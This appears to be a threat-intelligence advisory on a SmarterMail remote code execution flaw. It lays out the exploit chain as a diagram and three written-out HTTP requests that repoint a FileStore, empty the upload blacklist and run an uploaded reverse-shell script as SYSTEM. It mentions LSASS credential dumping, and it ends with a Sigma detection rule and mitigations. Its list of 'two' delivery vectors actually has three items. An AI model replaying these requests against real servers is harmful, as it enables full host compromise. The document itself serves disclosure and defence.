Skip to content

CVE-2026-104082: SmarterMail SysAdmin Remote Code Execution via Volume Mount Script Containment Bypass

Density:
HERMES

HERMES THREAT SCORE & ENTERPRISE MESSAGING GATEWAY EVALUATION

Target: SmarterTools SmarterMail โ€” Volume Mount & Domain FileStore Administration Pipeline
Confidence: 97%
92 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 18 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 rates this vulnerability at 8.6 (High) due to the requirement for SysAdmin privileges (PR:H). The Hermes Threat Score (HTS) elevates this evaluation to 92 (CRITICAL). In enterprise perimeter topologies, SmarterMail installations are directly accessible over the public internet to handle inbound SMTP, webmail, and ActiveSync. Threat actors routinely chain post-authentication capabilities with session hijacking, default configurations, or privilege escalation vectors (such as CVE-2026-104084 stale JWT role claim vulnerabilities). Once an administrative context is achieved, the failure to contain the Volume Mount mechanism to its intended sandboxed folder allows attackers to drop arbitrary executables into trusted automation paths and execute code with NT AUTHORITY\\SYSTEM privileges, completely compromising the Windows host.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-104082: SmarterMail SysAdmin Remote Code Execution via Volume Mount Script Containment BypassVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTSmarterTools SmarterMail Mail Server
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in SmarterTools SmarterMail Mail Server documented in Hermes dossier.”

Supporting Verified Evidence:

SmarterMail is widely deployed by enterprises and hosting providers as a Windows-based alternative to Microsoft Exchange. It exposes webmail interfaces alongside a comprehensive REST API for domain and server administration.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-104082International vulnerability catalog identifier
Affected ProductSmarterTools SmarterMailEnterprise mail, team messaging, and collaboration server
Vulnerable ComponentVolume Mount & FileStore management handlersAdministrative REST API controllers
Vulnerability ClassCWE-73 / CWE-284 / CWE-94Path Traversal / Access Control Bypass / Arbitrary Code Execution
Attack VectorNetwork (/api/v1/settings/* REST API)Authenticated administrative exploit chain
Remediation ReleaseSmarterMail Build 9777Canonical path validation and script containment enforcement
[ Authenticated Attacker (SysAdmin) ]
|
1. POST /api/v1/settings/domain-put
- Set Domain FileStore: "C:\SmarterMail\Scripts\evil\"
|
v
+-------------------------------------------+
| SmarterMail REST API Controller |
| Lacks path canonicalization check; |
| Binds user storage into trusted scripts |
+-------------------------------------------+
|
2. POST /api/v1/settings/global-mail
- Clear Extension Blacklist: []
|
3. POST /api/v1/file-storage/upload
- Uploads malicious script payload: payload.ps1
|
v
+-------------------------------------------+
| Payload Written to Disk Path: |
| C:\SmarterMail\Scripts\payload.ps1 |
+-------------------------------------------+
|
4. POST /api/v1/settings/CommandMount
- Target: payload.ps1
|
v
+-------------------------------------------+
| Service Execution via Process.Start |
| Context: NT AUTHORITY\SYSTEM |
| Interactive Shell / C2 Beacon |
+-------------------------------------------+

The vulnerability stems from the interaction between user file storage mechanisms and the administrative volume mounting service. SmarterMail allows administrators to execute scripts on mount events (such as disk mounting or backup initiation) via the CommandMount mechanism:

When provisioning or modifying a domain via /api/v1/settings/domain-put, an administrator configures the FileStore directory where user attachments and shared documents are stored. In vulnerable versions, SmarterMail failed to verify whether the specified path overlapped with the trusted script directory:

POST /api/v1/settings/domain-put HTTP/1.1
Host: mail.target-enterprise.com
Authorization: Bearer <sysadmin_jwt>
Content-Type: application/json
{
"domain": "target.corp",
"fileStorePath": "C:\\SmarterMail\\Scripts\\staged"
}

SmarterMail enforces a default file upload restriction list blocking .bat, .cmd, .ps1, and .exe. However, the /api/v1/settings/global-mail endpoint permitted administrators to update or completely erase this blacklist without validating security implications:

POST /api/v1/settings/global-mail HTTP/1.1
Host: mail.target-enterprise.com
Authorization: Bearer <sysadmin_jwt>
Content-Type: application/json
{
"blockedExtensions": []
}

With the file extension filter disabled, the attacker uploads a PowerShell reverse shell script (reverse.ps1) using the standard /api/v1/file-storage/upload endpoint under the modified domain. The file is placed directly inside C:\SmarterMail\Scripts\staged\reverse.ps1.

Finally, the attacker triggers an administrative mount command:

POST /api/v1/settings/CommandMount HTTP/1.1
Host: mail.target-enterprise.com
Authorization: Bearer <sysadmin_jwt>
Content-Type: application/json
{
"mountId": "Volume1",
"scriptPath": "C:\\SmarterMail\\Scripts\\staged\\reverse.ps1"
}

Because CommandMount validates that the script path starts with C:\SmarterMail\Scripts\, the check succeeds. The SmarterMail background daemon executes the script using System.Diagnostics.Process.Start, which inherits the parent service token (NT AUTHORITY\SYSTEM).


While the exploit requires SysAdmin access, threat intelligence models identify two high-probability delivery vectors:

  1. Chained JWT Role Escalation (CVE-2026-104084): In installations running versions prior to Build 9777, an unprivileged webmail user can leverage stale role claim handling during refresh token exchange to forge a valid SysAdmin JWT.
  2. Exposed Administrative Console Over Public WAN: Many enterprise deployments expose the administrative portal on standard HTTPS listeners (ports 443 and 9998). Adversaries with compromised helpdesk credentials or default passwords immediately leverage the Volume Mount exploit chain to escape the webmail boundary.
  3. Lateral Windows Domain Movement: Because SmarterMail frequently integrates with Active Directory for LDAP authentication, obtaining a SYSTEM shell on the mail server allows extracting cached domain service credentials via LSASS dumping or token impersonation.

title: SmarterMail Malicious Script Drop in Scripts Directory
id: 5b4c3e21-9981-4082-a7e1-smarter00001
status: stable
description: Detects creation of executable scripts inside SmarterMail Scripts directory by the mail service process.
author: Hermes Codex Cyber Intelligence
references:
- https://vulncheck.com/advisories/smartermail-build-9777-sysadmin-remote-code-execution-via-volume-mount
- https://nvd.nist.gov/vuln/detail/CVE-2026-104082
date: 2026-10-10
logsource:
category: file_event
product: windows
detection:
selection_process:
Image|endswith: '\SmarterMail.Service.exe'
selection_path:
TargetFilename|contains: '\SmarterMail\Scripts\'
TargetFilename|endswith:
- '.ps1'
- '.bat'
- '.cmd'
- '.exe'
- '.vbs'
condition: selection_process and selection_path
fields:
- TargetFilename
- ProcessId
- User
falsepositives:
- Legitimate administrative script deployment during scheduled maintenance
level: high

Deploy Build 9777 Immediately

Upgrade all instances to SmarterMail Build 9777 or later. This release disables arbitrary path reassignment for domain file stores.

Restrict Administrative Binding

Configure SmarterMail management bindings to listen exclusively on localhost or a dedicated management VLAN.

Service Account De-Elevation

Migrate the SmarterMail Windows service from NT AUTHORITY\SYSTEM to a dedicated virtual service account with minimal filesystem permissions.

Audit Administrator Accounts

Review all accounts with SysAdmin privileges and rotate passwords for the primary administrative user (admin).